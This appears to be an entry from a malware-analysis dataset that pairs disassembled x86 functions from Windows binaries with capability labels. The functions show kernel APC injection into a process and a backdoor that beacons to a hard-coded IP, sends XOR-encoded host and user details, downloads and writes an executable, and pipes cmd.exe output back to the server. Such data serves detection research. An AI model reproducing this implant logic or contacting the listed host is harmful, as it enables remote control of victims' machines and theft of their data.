joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1f9fd
Capabilities:
Attach user process memory
Find process by pid

Disassembly:
push 0x20
push 0x13aa0
call fcn.00010980
xor ebx, ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
mov eax, dword [ebp + 0xc]
mov dword [eax], ebx
mov eax, dword [ebp + 0x10]
mov dword [eax], ebx
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 8]
call dword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov edi, eax
cmp edi, ebx
jl 0x1fb48
push 0x4d415043
push 0x1018
push ebx
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov dword [ebp - 0x24], eax
mov esi, 0xc0000001
mov edi, esi
cmp eax, ebx
je 0x1fb48
mov dword [ebp - 0x2c], 0x400
lea ecx, [ebp - 0x2c]
push ecx
push eax
push dword [ebp + 8]
call fcn.0001cab4
mov edi, eax
cmp edi, ebx
jl 0x1fb48
cmp byte [ebp + 0x14], bl
je 0x1fa93
mov eax, dword [ebp - 0x24]
add eax, 0x1000
mov dword [ebp - 0x28], eax
push eax
push dword [ebp - 0x20]
call dword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
mov edi, esi
mov dword [ebp + 8], ebx
push 0xfffffffffffffffe
pop esi
mov eax, dword [ebp + 8]
cmp eax, dword [ebp - 0x2c]
jae 0x1fb2e
mov ecx, dword [ebp - 0x1c]
cmp ecx, ebx
je 0x1fab4
call dword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp + 8]
push dword [eax + ecx*4]
call dword [sym.imp.ntoskrnl.exe_PsLookupThreadByThreadId]
mov edi, eax
mov dword [ebp - 0x30], edi
cmp edi, ebx
jl 0x1fb15
cmp byte [ebp + 0x14], bl
je 0x1fafe
mov dword [ebp - 4], ebx
push dword [ebp - 0x1c]
call sub.ntoskrnl.exe_PsGetThreadTeb
cmp eax, ebx
jne 0x1fae9
mov dword [ebp - 4], esi
jmp 0x1fb15
mov ecx, dword [sym.imp.ntoskrnl.exe_MmUserProbeAddress]
cmp eax, dword [ecx]
jae 0x1fae4
cmp dword [eax + 0x1a8], ebx
je 0x1fae4
mov dword [ebp - 4], esi
push dword [ebp - 0x1c]
call fcn.00010d42
mov edi, eax
cmp edi, ebx
jne 0x1fb13
mov edi, 0xc0000001
cmp edi, ebx
jge 0x1fb2e
inc dword [ebp + 8]
jmp 0x1fa9b
cmp edi, ebx
jl 0x1fb48
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
mov dword [ebp - 0x20], ebx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x28], ebx
je 0x1fb56
push dword [ebp - 0x28]
call dword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov ecx, dword [ebp - 0x1c]
cmp ecx, ebx
je 0x1fb63
call dword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov ecx, dword [ebp - 0x20]
cmp ecx, ebx
je 0x1fb70
call dword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
cmp dword [ebp - 0x24], ebx
je 0x1fb83
push 0x4d415043
push dword [ebp - 0x24]
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov eax, edi
call fcn.000109c5
ret 0x10
Function at 0x1fc2d
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
xor edi, edi
push edi
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 8], edi
mov dword [ebp - 4], edi
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], edi
call fcn.0001f9fd
mov esi, eax
cmp esi, edi
jl 0x1fd3e
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
push edi
mov dword [eax + 0x94], ecx
lea ecx, [ebp + 0x10]
push ecx
lea ecx, [ebp + 0xc]
push ecx
push eax
push edi
push dword [ebp - 8]
mov dword [eax + 0x90], 3
mov dword [eax + 0x98], edi
call fcn.0001f7f6
mov esi, eax
cmp esi, edi
jl 0x1fd3e
push 0x4d415043
push 0x1c
push 1
mov esi, 0xc0000001
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov ebx, eax
mov dword [ebp - 0x10], ebx
cmp ebx, edi
je 0x1fd3e
push 7
pop ecx
xor eax, eax
mov edi, ebx
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
mov dword [ebx], eax
mov eax, dword [ebp + 0xc]
push 0x4d415043
mov dword [ebx + 0x14], eax
mov eax, dword [ebp + 0x10]
push 0x400
push 0
mov dword [ebx + 0x10], eax
mov edi, esi
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x1fd3c
push ebx
push 1
push dword [ebp + 0x10]
xor esi, esi
push esi
push fcn.0001fb92
push esi
push dword [ebp - 4]
mov dword [ebx + 4], eax
push eax
call sub.ntoskrnl.exe_KeInitializeApc
push esi
push esi
push esi
push dword [ebp - 0xc]
call sub.ntoskrnl.exe_KeInsertQueueApc
movzx esi, al
neg esi
sbb esi, esi
and esi, 0x3fffffff
add esi, edi
js 0x1fd3c
push dword [ebp + 0xc]
push dword [ebp + 0x10]
push str.APC_stub_p_pm_p_n
call sub.ntoskrnl.exe_DbgPrint
add esp, 0xc
xor edi, edi
mov ecx, dword [ebp - 4]
cmp ecx, edi
je 0x1fd4b
call dword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov ecx, dword [ebp - 8]
cmp ecx, edi
je 0x1fd58
call dword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
cmp esi, edi
jge 0x1fd6f
cmp ebx, edi
je 0x1fd6f
push edi
push edi
lea eax, [ebp - 0x10]
push eax
push edi
push dword [ebp - 0xc]
call fcn.0001fb92
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 0xc

Function at 0x200be
Capabilities:
Create device object
Create thread

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
call fcn.00020085
pop ebp
jmp fcn.00015dec
Function at 0x401280
Capabilities:
Encode data using xor
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3ab8
call fcn.0040a6d0
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
mov ebx, dword [ebp + 0x10]
movzx ecx, cx
mov dword [ebp - 0x3aa0], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x3a9c], ecx
mov dword [ebp - 0x3a98], edx
mov dword [ebp - 0x3a94], eax
mov edi, edi
mov ecx, 0x3a34
cmp ebx, 0x3a34
ja 0x4012cf
mov ecx, ebx
sub ebx, ecx
mov esi, 0x1a2c
xor edi, edi
mov dword [ebp - 0x3a90], ecx
mov dword [ebp - 0x3ab0], ebx
mov dword [ebp - 0x3ab4], ecx
mov dword [ebp - 0x3aa8], esi
mov eax, 0x4c5b
test ecx, ecx
jle 0x4013af
mov ecx, dword [ebp - 0x3aa0]
lea edx, [ebp - 0x3a8c]
sub ecx, edx
mov dword [ebp - 0x3aac], ecx
mov edx, esi
shr edx, 8
mov dword [ebp - 0x3aa4], edx
mov ebx, eax
shr ebx, 0x18
mov edx, eax
shr edx, 0x10
and bl, dl
mov edx, esi
mov ecx, eax
shr ecx, 8
and bl, cl
mov dword [ebp - 0x3ab8], ecx
mov ecx, esi
mov esi, dword [ebp - 0x3aac]
shr ecx, 0x18
shr edx, 0x10
and cl, dl
mov dl, byte [ebp - 0x3aa4]
xor bl, cl
mov ecx, dword [ebp - 0x3aa8]
and dl, cl
xor bl, dl
lea edx, [ebp + edi - 0x3a8c]
xor bl, byte [esi + edx]
lea esi, [eax*4]
xor esi, eax
add esi, esi
xor esi, eax
xor bl, al
and esi, 0xfffffff0
shl eax, 4
xor esi, eax
shl ecx, 0x18
or ecx, dword [ebp - 0x3ab8]
shl esi, 0x14
or esi, dword [ebp - 0x3aa4]
inc edi
mov byte [edx], bl
mov dword [ebp - 0x3aa8], esi
mov eax, ecx
cmp edi, dword [ebp - 0x3ab4]
jl 0x401311
mov ecx, dword [ebp - 0x3a90]
mov ebx, dword [ebp - 0x3ab0]
add dword [ebp - 0x3aa0], ecx
add ecx, 0x10
movzx esi, cx
lea edi, [ebp - 0x3a9c]
test si, si
je 0x401407
mov ecx, dword [ebp + 8]
push 0
movzx eax, si
push eax
push edi
push ecx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
js 0x4013e1
add edi, eax
sub esi, eax
jmp 0x401402
cmp eax, 0xffffffff
jne 0x401402
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2746
je 0x401423
cmp eax, 0x2744
je 0x401423
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
test si, si
jne 0x4013c6
test ebx, ebx
jne 0x4012c0
pop edi
pop esi
lea eax, [ebx + 1]
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402a24
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.00402a24
mov esp, ebp
pop ebp
ret
Function at 0x401440
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [0x410f60]
push esi
push edi
push str.175.117.144.67
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
jne 0x401483
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402a24
mov esp, ebp
pop ebp
ret
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
xor eax, eax
cmp esi, 0xffffffff
je 0x4014f0
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov eax, 2
mov word [ebp - 0x14], ax
mov ecx, dword [edi + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
push ebx
mov dword [ebp - 0x10], eax
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
lea ecx, [ebp - 0x14]
push ecx
push esi
mov word [ebp - 0x12], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4014ee
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402a24
mov esp, ebp
pop ebp
ret
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402a24
mov esp, ebp
pop ebp
ret
Function at 0x401510
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x268
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [str.ProductName]
mov eax, dword [ebp + 0xc]
mov edx, dword [0x40e260]
push edi
push 0x58
mov dword [ebp - 0x25c], ecx
mov dword [ebp - 0x268], eax
mov eax, dword [0x40e264]
lea ecx, [ebp - 0x250]
push 0
push ecx
mov dword [ebp - 0x258], edx
mov dword [ebp - 0x254], eax
call fcn.00406ad0
mov edx, dword [str.CSDVersion]
mov eax, dword [0x40e26c]
mov cx, word [0x40e270]
push 0x59
mov dword [ebp - 0x1f4], eax
mov dword [ebp - 0x1f8], edx
mov dl, byte [0x40e272]
lea eax, [ebp - 0x1ed]
push 0
push eax
mov word [ebp - 0x1f0], cx
mov byte [ebp - 0x1ee], dl
call fcn.00406ad0
push 0x190
lea ecx, [ebp - 0x194]
push 0
push ecx
call fcn.00406ad0
push 0x64
call fcn.00402ab7
add esp, 0x28
cmp byte [ebp + 8], 1
mov edi, eax
jne 0x401697
lea edx, [ebp - 0x260]
push edx
push 0x20019
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion_
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401697
push ebx
push esi
xor ebx, ebx
mov edx, dword [ebp - 0x260]
mov eax, ebx
imul eax, eax, 0x64
lea ecx, [ebp - 0x264]
push ecx
push 0
push 0
push 0
lea esi, [ebp + eax - 0x25c]
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 0x264]
push eax
push edi
call fcn.00402eef
mov ecx, dword [ebp - 0x264]
push ecx
push 0
push edi
call fcn.00406ad0
mov eax, dword [ebp - 0x260]
add esp, 0x14
lea edx, [ebp - 0x264]
push edx
push edi
push 0
push 0
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40166c
test ebx, ebx
jne 0x40166c
mov ecx, dword [ebp - 0x268]
push edi
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40167e
mov edx, dword [ebp - 0x268]
push 0x40e274
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
inc ebx
cmp ebx, 2
jl 0x4015f4
mov eax, dword [ebp - 0x260]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov al, 1
pop edi
call fcn.00402a24
mov esp, ebp
pop ebp
ret

Function at 0x4016b0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x9c
lea eax, [ebp - 0xa0]
push 0
push eax
call fcn.00406ad0
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
add esp, 0xc
lea ecx, [ebp - 0xa0]
push ecx
mov dword [ebp - 0xa0], 0x9c
call esi
test eax, eax
jne 0x40171f
lea edx, [ebp - 0xa0]
push edx
mov dword [ebp - 0xa0], 0x94
call esi
test eax, eax
jne 0x40171f
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402a24
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x90]
sub eax, 2
mov eax, dword [ebp - 0x9c]
push ebx
jne 0x40173f
cmp eax, 5
je 0x40173b
cmp eax, 6
jne 0x40173f
mov bl, 1
jmp 0x401745
mov bl, byte [ebp - 0xa1]
mov ecx, dword [ebp - 0x98]
push ecx
push eax
push str._d._d
push edi
call fcn.00402a33
mov ecx, dword [ebp - 4]
add esp, 0x10
mov al, bl
pop ebx
xor ecx, ebp
pop esi
call fcn.00402a24
mov esp, ebp
pop ebp
ret
Function at 0x401770
Capabilities:
Get hostname
Get session user name
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x778
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 8], eax
push edi
lea eax, [ebp - 0x774]
push eax
lea ecx, [ebp - 0xdc]
push ecx
mov dword [ebp - 0x774], 0x14
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea edi, [ebp - 0x74]
call fcn.004016b0
mov byte [ebp - 0x770], al
mov eax, dword [ebp - 0x770]
mov edx, edi
push edx
push eax
call fcn.00401510
mov ecx, edi
push ecx
lea edx, [ebp - 0xdc]
push edx
lea eax, [ebp - 0x4bc]
push str._s__s
push eax
call fcn.00402a33
lea eax, [ebp - 0x4bc]
add esp, 0x18
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4017e6
lea ecx, [ebp - 0x76c]
sub eax, edx
push ecx
inc eax
push 2
mov dword [ebp - 0x4c0], eax
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x40183f
push 0xff
lea edx, [ebp - 0x5dc]
push edx
call dword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
jne 0x401839
lea eax, [ebp - 0x5dc]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x401839
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov ecx, dword [edx]
jmp 0x401841
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor ecx, ecx
mov eax, 0x45e7b273
imul dword [0x410f64]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4c0]
mov dword [ebp - 0x4c4], eax
push edx
lea eax, [ebp - 0x4bc]
mov dword [ebp - 0x4d4], ecx
mov edx, ecx
push eax
lea ecx, [ebp - 0x4dc]
call fcn.004010a0
mov eax, dword [ebp - 0x4c0]
mov edx, dword [ebp - 0x4dc]
push ecx
mov ecx, dword [ebp + 8]
add eax, 0x20
push eax
push 0
push ecx
mov ecx, 0x9e2
mov dword [0x411d10], edx
call fcn.00401280
mov ecx, dword [ebp - 8]
add esp, 0x18
xor ecx, ebp
pop edi
call fcn.00402a24
mov esp, ebp
pop ebp
ret

Function at 0x4018c0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, eax
mov eax, dword [ebp + 0xc]
mov esi, eax
test eax, eax
je 0x40191a
mov ebx, dword [sym.imp.WS2_32.dll_recv]
mov eax, dword [ebp + 8]
push 0
push esi
push edi
push eax
call ebx
test eax, eax
jle 0x4018eb
add edi, eax
sub esi, eax
jmp 0x40190c
cmp eax, 0xffffffff
jne 0x401918
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2746
je 0x401918
cmp eax, 0x2744
je 0x401918
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
test esi, esi
jne 0x4018d7
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
pop ebp
ret
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x401920
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea edi, [ebp - 0x18]
mov esi, 0x10
lea ebx, [ebx]
push 0
push esi
push edi
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x401955
add edi, eax
sub esi, eax
jmp 0x401982
cmp eax, 0xffffffff
jne 0x401a4c
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2746
je 0x401a4c
cmp eax, 0x2744
je 0x401a4c
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
test esi, esi
jne 0x401940
cmp dword [ebp - 0x18], 0x1055
je 0x401a1e
mov eax, dword [ebp - 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
add eax, 0x10
push eax
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, dword [0x412118]
mov dword [esi*4 + 0x411d18], eax
test eax, eax
je 0x401a4c
mov ecx, dword [ebp - 0x18]
mov dword [eax], ecx
mov edx, dword [ebp - 0x14]
mov dword [eax + 4], edx
mov ecx, dword [ebp - 0x10]
mov dword [eax + 8], ecx
mov edx, dword [ebp - 0xc]
mov dword [eax + 0xc], edx
cmp dword [ebp - 0xc], 0
jbe 0x401a12
mov esi, dword [esi*4 + 0x411d18]
mov eax, dword [esi + 0xc]
push eax
lea eax, [esi + 0x10]
push ebx
call fcn.004018c0
add esp, 8
test eax, eax
je 0x401a33
mov esi, dword [0x412118]
mov ecx, dword [esi*4 + 0x411d18]
lea eax, [ecx + 0x10]
mov ecx, dword [ecx + 0xc]
mov edx, eax
call fcn.00401000
inc esi
mov dword [0x412118], esi
jmp 0x401932
pop edi
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402a24
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x412118]
mov edx, dword [ecx*4 + 0x411d18]
push edx
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
xor eax, eax
pop esi
call fcn.00402a24
mov esp, ebp
pop ebp
ret
Function at 0x401b80
Capabilities:
Download and write a file
Download url
Get common file path
Receive and write data from server to client
Receive data
Set current directory
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x814
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
mov edi, edx
cmp esi, ebx
jne 0x401bb3
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402a24
mov esp, ebp
pop ebp
ret
cmp edi, ebx
jne 0x401bbc
mov edi, str.sec.exe
lea eax, [ebp - 0x808]
push eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x808]
push ecx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push esi
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push edi
mov dword [ebp - 0x80c], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x401ba0
push ebx
push ebx
lea edx, [ebp - 0x80c]
push edx
push esi
push ebx
call dword [sym.imp.urlmon.dll_URLOpenBlockingStreamA]
test eax, eax
js 0x401ba0
push 0x400
lea eax, [ebp - 0x407]
push ebx
push eax
mov dword [ebp - 0x810], ebx
mov byte [ebp - 0x408], bl
call fcn.00406ad0
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
add esp, 0xc
mov eax, dword [ebp - 0x80c]
mov ecx, dword [eax]
lea edx, [ebp - 0x810]
push edx
push 0x400
lea edx, [ebp - 0x408]
push edx
push eax
mov eax, dword [ecx + 0xc]
call eax
push 0
lea ecx, [ebp - 0x814]
push ecx
push 0x400
lea edx, [ebp - 0x408]
push edx
push edi
mov esi, eax
call ebx
push 0x400
lea eax, [ebp - 0x408]
push 0
push eax
call fcn.00406ad0
add esp, 0xc
test esi, esi
js 0x401c9b
cmp esi, 1
jne 0x401c41
mov eax, dword [ebp - 0x80c]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
js 0x401ba0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.00402a24
mov esp, ebp
pop ebp
ret
Function at 0x401cd0
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x160
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
lea eax, [ebp - 0x108]
push eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x44
xor esi, esi
lea ecx, [ebp - 0x160]
push esi
push ecx
call fcn.00406ad0
mov ebx, dword [sym.imp.KERNEL32.dll_CreateProcessA]
xor eax, eax
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x160], 0x44
mov dword [ebp - 0x128], esi
mov dword [ebp - 0x134], 0x101
mov word [ebp - 0x130], dx
mov edi, edi
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x160]
push ecx
push 0
push 0
push 0
push 1
push 0
push 0
push edi
push 0
call ebx
test eax, eax
jne 0x401d79
inc esi
cmp esi, 8
jl 0x401d50
cmp esi, 8
jne 0x401d90
xor eax, eax
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402a24
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 0x118]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.00402a24
mov esp, ebp
pop ebp
ret
Function at 0x401dc0
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4318
call fcn.0040a6d0
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
xor ebx, ebx
push 0x3ff
lea eax, [ebp - 0x80b]
push ebx
push eax
mov esi, ecx
mov byte [ebp - 0x80c], bl
call fcn.00406ad0
push 0x3ff
lea ecx, [ebp - 0x40b]
push ebx
push ecx
mov byte [ebp - 0x40c], bl
call fcn.00406ad0
push 0x400
lea edx, [ebp - 0x40c]
push str.C:windows_system32cmd.exe
push edx
call fcn.00402dc0
push esi
lea eax, [ebp - 0x40c]
push eax
lea ecx, [ebp - 0x80c]
push str._s__c__s
push ecx
call fcn.00402a33
add esp, 0x34
push 0x40000
lea edx, [ebp - 0x42cc]
push edx
lea eax, [ebp - 0x42b0]
push eax
lea ecx, [ebp - 0x42a8]
push ecx
mov dword [ebp - 0x42cc], 0xc
mov dword [ebp - 0x42c8], ebx
mov dword [ebp - 0x42c4], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push 0x44
lea edx, [ebp - 0x4314]
push ebx
push edx
call fcn.00406ad0
mov edi, dword [sym.imp.KERNEL32.dll_CreateProcessA]
xor eax, eax
mov dword [ebp - 0x42c0], eax
mov dword [ebp - 0x42bc], eax
mov dword [ebp - 0x42b8], eax
mov dword [ebp - 0x42b4], eax
mov eax, dword [ebp - 0x42b0]
mov dword [ebp - 0x42d4], eax
mov dword [ebp - 0x42d8], eax
xor eax, eax
add esp, 0xc
mov dword [ebp - 0x4314], 0x44
mov dword [ebp - 0x42dc], ebx
mov dword [ebp - 0x42e8], 0x101
mov word [ebp - 0x42e4], ax
xor esi, esi
lea ecx, [ebp - 0x42c0]
push ecx
lea edx, [ebp - 0x4314]
push edx
push ebx
push ebx
push ebx
push 1
push ebx
push ebx
lea eax, [ebp - 0x80c]
push eax
push ebx
call edi
test eax, eax
jne 0x401f0c
inc esi
cmp esi, 8
jl 0x401ee3
cmp esi, 8
jne 0x401f24
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00402a24
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1f4
mov dword [ebp - 0x42ac], 1
call esi
mov ecx, dword [ebp - 0x42c0]
push 0x1d4c0
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [ebp - 0x42b0]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [ebp - 0x42a8]
push ebx
lea eax, [ebp - 0x42ac]
push eax
push 0x3a84
lea ecx, [ebp - 0x42a4]
push ecx
push edx
call edi
mov ecx, dword [ebp - 0x42ac]
cmp ecx, ebx
je 0x401fb9
cmp eax, ebx
je 0x401fb9
mov edx, dword [0x411d10]
mov byte [ebp + ecx - 0x42a4], bl
lea eax, [ebp - 0x42a4]
push eax
inc ecx
push ecx
mov ecx, dword [ebp + 8]
push ebx
push ecx
mov ecx, 0xa021
call fcn.00401280
add esp, 0x10
push 1
call esi
jmp 0x401f60
mov edx, dword [ebp - 0x42a8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.00402a24
mov esp, ebp
pop ebp
ret
Function at 0x4024f0
Capabilities:
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1a4
mov eax, dword [0x41003c]
xor eax, esp
mov dword [esp + 0x1a0], eax
push ebx
push esi
push edi
lea eax, [esp + 0x10]
push eax
push 0x101
xor edi, edi
mov esi, 0x2bf20
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x4025a7
call fcn.00401440
mov ebx, eax
test ebx, ebx
jne 0x402550
cmp edi, 4
jge 0x402542
push esi
inc edi
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402528
mov esi, 0xa4cb80
push esi
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402528
push ebx
call fcn.00401770
add esp, 4
call fcn.00401920
test eax, eax
jne 0x402571
cmp edi, 4
jge 0x402542
push esi
inc edi
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402528
push ebx
call fcn.00402460
add esp, 4
push 0
push 0xa
lea ecx, [esp + 0x1a8]
push ecx
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jne 0x402598
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
mov edx, dword [0x410f64]
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402528
mov ecx, dword [esp + 0x1ac]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00402a24
mov esp, ebp
pop ebp
ret